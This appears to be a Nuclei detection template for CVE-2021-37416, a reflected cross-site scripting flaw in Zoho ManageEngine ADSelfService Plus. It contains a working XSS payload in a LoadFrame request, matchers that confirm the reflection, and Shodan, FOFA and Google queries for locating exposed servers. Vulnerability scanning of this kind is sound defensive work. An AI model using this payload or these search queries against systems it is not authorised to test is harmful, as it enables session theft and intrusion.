id: CVE-2021-37416

info:
  name: Zoho ManageEngine ADSelfService Plus <=6103 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Zoho ManageEngine ADSelfService Plus 6103 and prior contains a reflected cross-site scripting vulnerability on the loadframe page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Upgrade to a patched version of Zoho ManageEngine ADSelfService Plus (version >6103) to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416
    - https://blog.stmcyber.com/vulns/cve-2021-37416/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37416
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37416
    cwe-id: CWE-79
    epss-score: 0.02934
    epss-percentile: 0.85725
    cpe: cpe:2.3:a:zohocorp:manageengine_adselfservice_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_adselfservice_plus
    shodan-query:
      - http.title:"ManageEngine"
      - http.title:"adselfservice plus"
      - http.title:"manageengine"
    fofa-query:
      - title="manageengine"
      - title="adselfservice plus"
    google-query:
      - intitle:"adselfservice plus"
      - intitle:"manageengine"
  tags: cve2021,cve,zoho,xss,zohocorp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "></iframe><script>alert(1)</script>"
          - "adsf/js/"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220672f19655828aa2e576c3938233ed162a2c4f9e3a0b348d08840b101eb9d876602205d9801991e3ec32c061c31b8b520eae99a148bf2b53308bf3fd5fe71ac9e826c:922c64590222798bb761d5b6d8e72950